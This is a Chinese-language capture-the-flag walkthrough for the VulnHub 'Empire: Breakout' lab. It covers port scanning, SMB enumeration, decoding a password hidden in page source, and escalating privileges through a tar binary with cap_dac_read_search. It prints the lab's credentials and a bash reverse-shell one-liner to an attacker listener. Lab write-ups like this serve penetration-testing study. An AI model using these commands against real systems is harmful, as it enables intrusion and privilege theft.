准备:
攻击机:虚拟机kali、本机win10。
靶机:EMPIRE: BREAKOUT,地址我这里设置的桥接,下载地址:https://download.vulnhub.com/empire/02-Breakout.zip,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。
涉及的知识点:shell反弹、权限提升、smb、samba扫描、解密、getcap命令的使用(查看可执行文件获取的内核权限)。
信息收集:
使用nmap扫描靶机开放的端口和对应的具体服务信息,命令:nmap -T4 -sV -p- -A 192.168.1.4。
对80端口进行文件扫描,但是未发现什么有用的信息。
分别访问下80、10000、20000端口,发现80是一个默认的页面,10000和20000页面是两个登录页面。
尝试对登录窗口进行注入、爆破均失败,但是在80端口的源代码信息中发现了一串加密的字符串。
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->
开始渗透:
在http://esoteric.sange.fi/brainfuck/impl/interp/i.html网站对字符串进行解密,获得字符串:.2uqPEfj3D<P'a-3
观察到139、445端口开启的samba软件(基于smb协议),因此我们可以使用enum4linux(smb、samba专用扫描器)来进行扫描以下,命令:enum4linux 192.168.1.4,获得用户名:cyber。
使用获得账户名和密码尝试进行登录:cyber/.2uqPEfj3D<P'a-3,发现在20000端口可以登录成功并具有shell权限。
在cyber账户权限下找到第一个flag。
提权:
在/cyber目录下我们还发现了tar文件,查看文件权限发现其具有可执行权限,命令:ls -l。
那我们就查看下该文件执行时所具有的内核权限,命令:getcap tar,发现其可以绕过文件的读权限检查以及目录的读/执行权限的检查(cap_dac_read_search表示的就是这个意思)。
对网站目录目录进行查看,最后在/var目录下发现backup文件,其他目录下未发现有用信息。
在/backups文件夹下发现密码的备份文件:.old_pass.bak
然后对.old_pass.bak文件进行压缩和解压就可以读取root密码,压缩密码:./tar -cvf upfine.tar /var/backups/.old_pass.bak,解压密码:./tar -xvf upfine.tar,然后进入/var/backups目录下读取.old_pass.bak文件,发现root密码:Ts&4&YurgtRX(=~h。
到这里的话有两种方式,第一种:在10000端口采用:admin/Ts&4&YurgtRX(=~h,进行登录,进入后可直接获得root账户权限。
第二种:反弹一个shell,在kali中开启对8899端口的监听,命令:nc -lvvp 8899,然后在靶机中执行bash命令:bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'。
在反弹的shell中切换root用户并查看root下的文件信息,成功获得第二个flag。
标签:
留言评论